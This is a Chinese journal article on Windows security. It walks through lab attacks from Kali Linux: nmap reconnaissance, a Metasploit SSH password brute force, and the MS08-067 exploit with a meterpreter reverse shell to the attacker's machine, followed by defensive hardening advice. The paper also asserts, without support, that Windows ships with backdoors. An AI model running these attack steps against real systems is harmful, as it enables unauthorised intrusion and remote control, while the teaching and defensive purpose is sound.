APP下载

Windows系统安全性探究

2022-04-12王国柱

计算机时代 2022年4期
关键词:远程控制渗透安全性

王国柱

摘  要: 为了检验Windows操作系统的安全性,从商业和技术两个角度剖析。从其开发的商业目的分析,得出了追求市场占有率与利润,是Windows操作系统的首选,而安全性不是此款操作系统的迫切追求;从技术角度对Windows操作系统进行攻击,验证了其确实存在安全隐患。作者利用Kali Linux攻击平台,对Windows系统依次进行扫描、渗透、提权以及终极后续操作,可以成功渗透并能远程控制Windows 系统为攻击者服务。

关键词: Windows操作系统; 安全性; 渗透; 提权; 远程控制

中图分类号:TP393.08          文献标识码:A     文章编号:1006-8228(2022)04-29-05

Research on the security of windows system

Wang Guozhu

(Computer Network Technology Teaching and Research Office of Zhengzhou National Defense Science and Technology School,

Zhengzhou, Henan 450007, China)

Abstract: In order to examine the security of the Windows operating system, it is analyzed from business and technology. From business, it is concluded that the pursuit of market share and profit is the first choice and security is not the urgent pursuit of Windows operating system; from technology, the attack on the Windows operating system has verified that it does have security risks. Using the Kali Linux attack platform to scan, infiltrate, elevate privileges and finally follow-up operations on the Windows system in sequence, it can successfully infiltrate and remotely control the Windows system to serve the attacker.

Key words: windows operating system; security; infiltrate; elevate privileges; remote control

0 引言

Windows操作系统是美国微软公司研发的一款商业操作系统软件,现已成为应用最广泛的计算机桌面操作系统,它基本垄断着全球的计算机操作系统市场。

但是,它又是一款漏洞百出并且预留有后门的操作系统,因此Windows操作系统常常会遭到大量的网络攻击,最终让用户的合法利益蒙受损失。为此,本文着重从专业技术方面,利用Kali Linux渗透平台,采用攻击实操的方式,对Windows操作系统进行安全测试,借此向广大Windows用户展示此款操作系统存在的部分不安全因素,意在唤醒国人的安全意识,谨慎使用Windows操作系统,并做好有针对性的安全防范,以便把风险降至最底点。

1 两种操作系统

1.1 Windows操作系统

Windows操作系统是美国微软公司研发的一款商业操作系统软件,它采用了图形化模式,使用界面友好,窗口制作优美,易学易用 [1]。同时,它还拥有完善的生態环境,提供大量的应用软件给客户选择使用。这些应用软件门类全,功能完善,为用户提供了良好的体验性和实用性。因此,Windows操作系统已成为目前应用最广泛的计算机桌面操作系统。

1.2 Kali Linux操作系统

Kali Linux是一款免费的、基于Debian的Linux发行版系统软件,同时,它也是一款专注于渗透测试的操作系统[5]。

Kali Linux预装了超过300个渗透测试工具软件,包括nmap、Wireshark、John the Ripper等等。

2 Windows操作系统确实存在不安全性

2.1 从商业的角度来分析

因为Microsoft Windows是款商业软件,商业是要追逐利润的,而且还要最大化。所以,它的最高追求不是高可靠性和高安全性,而是易用性和功能性。这样才能受到普通企业和一般民众的普遍欢迎,从而购买使用,这样就能得到更大的市场占有率,最终获得最大的利润。

2.2 从技术的角度来分析

接下来,本文利用实验操作的方式,来证明Windows操作系统的不安全性。同时声明:本文中所有的实验操作都是在局域网环境内进行的,攻击机操作系统都是Kali Linux,靶机操作系统则是相应的Windows操作系统。

2.2.1 如何发现Windows的不安全因素

利用扫描工具软件(这类工具软件都是集成在Kali Linux系统中的)扫描靶机的Windows操作系统,就能够发现它存在哪些不安全性因素,利用这些不安全因素就可以对系统发起攻击了[3]。40C76890-AA4A-4E25-83E2-8E57BD8B7F75

接下来,本文使用Nmap扫描工具软件,来展示如何对目标靶机进行扫描操作:

⑴ 扫描网络网段内的主机,发现网段里存活的靶机,并输出存活靶机的详细信息。

例如,扫描指定的网段192.168.119.0/24内的主机。可以在攻击机上运行这样的命令行:nmap -sn  192.168.119.0/24,如果在运行结果中出現“Host is up”这样的语句,则表明所扫描的网段内有存活的靶机,并且还显示了该靶机的MAC Address(物理地址),如图1所示。

⑵ 扫描目标靶机的端口

扫描到存活的靶机之后,就可以对这个目标靶机单独发起扫描,来查看它开放了哪些端口。

例如:扫描目标靶机192.168.119.7开放的端口,在攻击机上运行命令行:nmap -ss 192.168.119.7,就会在扫描结果中出现一行“PORT STATE  SERVICE”提示语句。在其下面各行中,如果出现“open”单词,则表明靶机系统有开放端口,open前面是端口名称,后面是端口服务名称。如图2所示。

⑶ 识别目标靶机端口上对应的服务

下面以靶机(192.168.119.7)为例,在扫描到该目标靶机所开放的端口之后,再对这些端口所对应的服务进行识别。

在攻击机上运行命令行:nmap -sV -T4 -p  135,445,22, 139 192.168.119.7,扫描结果显示22端口对应的服务是SSH,如图3所示。

⑷ 探测目标靶机的操作系统

此处以目标靶机(192.168.119.7)为例,来探测靶机所运行的操作系统类型。

在攻击机上运行命令行:nmap -O 192.168.119.7,在运行结果中显示出“OS details”语句,其后面就是靶机操作系统的详细信息。如图4所示。

2.2.2 如何利用Windows系统不安全因素发起攻击

下面所有的攻击操作都是在Kali Linux系统中的MSF控制台上完成的。

MSF(Metasploit Framework的缩写)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试、Shellcode编写和漏洞研究提供了一个可靠的平台[5]。

⑴ 进入Kali Linux系统中MSF控制台

在攻击机上运行命令msfconsole,就能进入msf控制台了。

注意:如果首次使用msfconsole,需要先把系统内置的数据库PostgreSQL和metasplote开启,然后才能再运行msfconsole,操作步骤如下。

① 开启PostgreSQL

在攻击机Kali Linux系统命令行状态下输入命令:

service postgresql start

② 开启metasploit

在攻击机Kali Linux系统命令行状态下输入命令:

service metasploit start

③ 最后是运行msfconsole

⑵ 暴力破解实验

暴力破解实际上也就是给出一个含有一堆字符串的文本,然后,使用爆破工具软件逐个尝试文本中的字符串作为密码登录[3]。因此,暴力破解需要借助密码字典来破解密码。

密码字典可以自己来编写,也就是把所有可能的用户及其密码全部写出来,并保存成文本文件来做为破解字典用。

密码字典也可以使用Kali Linux系统下的字典生成工具来生成。例如使用Cewl字典生成工具软件来获得字典,并能将获得的字典内容放到自定义的一个文本文件中,以备使用。

下面的破解过程所用到的破解字典是操作者自己手动编写的两个文本文件:user.txt和pass.txt。

破解实例:实验使用的攻击机是Kali Linux,靶机是192.168.119.7。

破解目的:在MSF环境中爆力破解192.168.119.7这台靶机的ssh服务 ,并实现远程登录这台靶机。

破解实施主要命令:

search ssh_login

use auxiliary/scanner/ssh/ssh_login

show options

set pass_file /root/pass

set rhosts 192.168.119.7

set user_file /root/user

run

ssh  togie @192.168.119.7

接下来使用Kali Linux系统,在MSF环境中爆力破解192.168.119.7靶机的ssh服务,并实现远程登录这台靶机。

破解实施操作过程如下。

第一步:搜索ssh暴力破解模块

在攻击机的MSF平台上输入执行命令search  ssh_login ,如果运行结果中出现“auxiliary/scanner/ssh/ ssh_login”  语句,那么,就可以接着进行第二步操作了。

第二步: 使用msf的“auxiliary/scanner/ssh/ssh_login”模块

在攻击机的MSF平台上输入命令:

use auxiliary/scanner/ssh/ssh_login

第三步:设置相关参数

在攻击机的MSF平台上依次输入执行下列命令行:40C76890-AA4A-4E25-83E2-8E57BD8B7F75

set pass_file/root/pass.txt

set rhosts  192.168.119.7

set use_file  root/user.txt

第四步:查看设置的相关参数

在攻击机的MSF平台上输入执行命令:show options,在运行结果中,重点要查看“PASS_FILE、RHOSTS、RPORT、USER_FILE”这四项的参数值是否正确,如图5所示即可。

第五步:开始爆破

在攻击机的MSF平台上输入执行命令:run ,在运行结果中,如果出现“success”,则表明已成功爆破出了靶机系统中的某个用户名及其登录密码了。

如图6所示,已经成功爆破出靶机(192.168.119.7)系统中的用户名togie及其登录密码:12345。

第六步: 远程登录这台靶机

在攻击机的Kali Linux系统命令行状态(注意:此时不要在MSF环境中,输入执行命令)输入执行命令行:ssh  togie @192.168.119.7 ,然后按系统提示,输入用户密码12345之后,就可以远程登录这台靶机了,登录成功后,攻击者就可以远程使用该靶机,就像使用自己的本地机一样。

⑶ 系统漏洞攻击实验

系统漏洞攻击是指应用软件或操作系统软件在逻辑设计上的缺陷或错误,被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统[3]。

漏洞攻击实例 利用Win2000 Server系统的MS08-067漏洞对其发起攻击,实验使用的攻击机是Kali Linux,靶机是Win2000 Server。

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化。但是,在NetpwPathCanonicalize函数中存在的逻辑错误,会造成栈缓冲区可被溢出。因此,攻击者常常会借此来获得远程执行代码权限(Remote Code Execution)。

实验攻击的目的 利用Win2000 Server系统的MS08-067漏洞,在攻擊机上执行payload载荷拿到靶机shell权限,然后,获得目标系统的屏幕截图。

实验攻击所使用的主要命令

use exploit/Windows/smb/ms08_067_netapi

set rhosts  192.168.11.40

set payload Windows/meterpreter/reverse_tcp

set lhost  192.168.11.35

exploit

screenshot

实验攻击的操作过程

第一步:查看攻击机ip地址

在攻击机上运行命令 ifconfig,就可以查看到攻击机的IP地址、子网掩码及广播地址。本次实验中攻击机的相关地址是:

IP地址:192.168.11.35

子网掩码:255.255.255.0

广播地址:192.168.11.255

第二步:查看靶机ip地址

在靶机上运行命令 iPconfig,就可以查看到靶机的IP地址、子网掩码及广播地址,本次实验中靶机的相关地址是:

IP地址:192.168.11.40

子网掩码:255.255.255.0

默认网关:192.168.11.11

第三步:在Kali中使用metasploit

在攻击机中启动PostgreSQL数据库服务和metasploit服务,需在攻击机上执行下面两条命令:

service  postgresql  start

service  metasploit  start(这条命令可在低版本的

Kali Linux中运行,如果是攻击机是高版本的Kali Linux,

需执行下面操作命令)

第四步: 由于高版本Kali Linux中已经没有metasploit,所以,在高版本的Kali Linux中必须运行下面的几个命令实现连接数据库服务。

在攻击机中运行:

service  postgresql  start

msfdb init

然后,在攻击机上执行下面命令可以查看数据库是否连接成功。

Msfconsole

Dbstatus

如果在执行结果中出现“PostgreSQL connected to msf”提示语句,说明数据库连接成功。

第五步:查找是否存在ms08-067漏洞功能模块

在攻击机中输入命令行Search  ms08-067 运行,如果在运行结果信息中,出现“exploit/Windows/smb/ms08_067_ netapi”语句,表明存在该功能模块。

第六步:输入漏洞攻击程序

在攻击机中执行下面命令行:

use exploit/Windows/smb/ms08_067_netapi40C76890-AA4A-4E25-83E2-8E57BD8B7F75

第七步:设置靶机和攻击机的地址

在攻击机中依次输入并运行下面两个命令行:

Set  RHOST 192.168.11.40

Set  LHOST 192.168.11.35

说明:192.168.11.40是靶机地址,192.168.11.35是攻击机地址,在前面已经提前查看到的。

第八步:提权

在攻击机中执行命令exploit,拿到靶机shell权限。

第九步:小试牛刀

在攻击机上,远程获得靶机系统的屏幕截图(当然,还可以远程控制靶机后,对靶机进行其他操作,就像操作本地计算机一样)。

在攻击机中输入执行命令:screenshot

在运行结果中就会出现“Screenshot saved to: /root/fXFYFMJk. Jpeg”反馈信息。表明靶机系统桌面的截图文件fXFYFMJk. Jpeg,已被攻击机自动地放在Kali Linux系统的root路径中了。

3 如何防范Windows不安全因素

3.1 加强Windows用户账户认证和访问控制权限控制

Windows用户账号可以确认访问系统资源的用户身份,是用户获得系统访问权限的关键。当前Windows系统中身份认证通常采用账号和密码认证的方式进行。因此,用户账号和密码的安全设置非常重要。

例如,在Windows系统中可以在“控制面板”打开“管理工具”中的“本地安全策略”,找到“账户策略”中的“密码策略”和“账户锁定策略”进行安全设置[4]。

从账号安全角度考虑,账号密码要有一定的复杂度和长度要求,可以开启“密码必须符合复杂性要求”,设置“密码长度最小值”在8位以上。

另外,选中“账户锁定策略”,根据安全策略设置“账户锁定阈值”和“账户锁定时间”。这样,当用户账户无效登陆次数超过指定阈值时,该用户将在设置的锁定时间内无法登录系统。

3.2 进行Windows系统备份

通过Windows控制面板中“备份和还原”可以保护系统由于病毒或黑客攻击等原因而无法正常、稳定的运行,避免由于系统意外的损失造成数据丢失或破坏。

在系统备份时,建议在系统功能正常,同时安装了常用的应用软件,并且,确保没有病毒或木马的情况下进行备份[2]。

3.3 使用WindowsBitLocker进行驱动器加密

可以在“我的电脑”中右键单击需要加密的硬盘分区,选择“启用BitLocker”功能,根据BitLocker加密向導进行操作。

BitLocker加密功能对U盘等可移动存储设置有效,只要启用BitLocker功能就可以对移动硬盘等设备进行加密,避免由于这些移动设备丢失造成的隐私信息外泄等情形发生[2]。

3.4 开启Windows防火墙

防火墙作为实现网络安全的重要技术,通常位于网络边界,在防火墙上设置规则可以将未符合防火墙安全策略设置的数据拦截在外,这样可以在很大程度上防御来自外界的攻击[4]。

在Windows防火墙中可以通过设置“入站规则”、“出站规则”、“连接安全规则”和“监视”等进行数据过滤。但是,一旦防火墙设置不当不仅阻拦不了恶意用户攻击系统,反而会造成合法用户不能正常访问互联网的情况出现。因此,防火墙规则设置一定要经过测试,定期进行后期维护。

3.5 及时安装系统漏洞补丁

Windows系统是一个非常复杂的软件系统,会或多或少存在漏洞,也就是操作系统在开发过程中存在的技术缺陷,导致系统运行过程中出现某些妨碍用户使用的错误,这些缺陷还容易被黑客利用,用于攻击计算机或窃取数据[2]。

刚装好系统的时候,默认是没有安装过系统漏洞补丁的。因此,需要用户安装各种漏洞补丁程序。目前,安装系统漏洞补丁有两种方法:

第一种方法是使用各种辅助软件给系统安装补丁程序,这种方法经常会出现开机蓝屏、配置Windows Update失败或者长时间一直卡住无法完成配置的情况。

第二种方法是使用用系统自带的Windows Update功能来安装系统补丁程序,比较稳妥。用户可以根据个人的系统情况自行选择。

3.6 及时安装杀毒软件

在目前的互联网环境下,Windows系统更多的是受到流氓软件,弹窗、捆绑、静默安装、后门、木马等的侵害,而Windows系统自带的安全防护功能还不能完全防范。因此,需要安装一款本地杀毒软件有针对性地进行防护。

4 结束语

本文从商业和技术的角度对Windows系统的安全性进行探讨和验证,有力地证明了这款操作系统的安全性令人堪忧,可以说,Windows是一款不安全的操作系统,用户在使用此款操作系统时,一定要做好必要的安全防范,从而才能保障个人信息的安全。

此外,沿用本文的思路,也可以用类似的方法来探讨和验证其他操作系统(例如,安卓操作系统)的安全性。以此来提醒广大用户,在使用操作系统的过程中,要有安全防范意识和行之有效的安全措施。

本文仅仅是在局域网环境下对Windows系统的安全性进行了一番探讨和验证,而基于互联网环境下的检测与攻击还没有涉及到,因此,下一步,在互联网环境下,此款操作系统的安全性验证以及攻击者所采用的攻击方法,将是作者要进一步探索的方向。同时,有针对性地加强Windows安全性的措施及方法,也将是作者努力研究的方向。

参考文献(References):

[1] 韩兵,李海坤.浅谈Windows操作系统[J].数码世界,2017(6):10

[2] 陈洪艳.Windows操作系统的安全[J].电脑编程技巧与维护,2011(20):6

[3] 杨诚.网络空间安全技术应用[M].北京:电子工业出版社,2018.2

[4] 何琳.Windows操作系统安全配置[M].北京:电子工业出版社,2020.8

[5] 杨波.Kali Linux渗透测试技术详解[M].北京:清华大学出版社,2015.340C76890-AA4A-4E25-83E2-8E57BD8B7F75

猜你喜欢

远程控制渗透安全性
新染料可提高电动汽车安全性
水冷发射机冷却系统故障分析及解决方案
盐城地区设计项目与课堂远程互动的方式方法研究
基于GSM的远程控制系统
浅谈语文课堂的情感教育渗透
ApplePay横空出世 安全性遭受质疑 拿什么保护你,我的苹果支付?
Imagination发布可实现下一代SoC安全性的OmniShield技术
在印度佛教大会感受日本“渗透”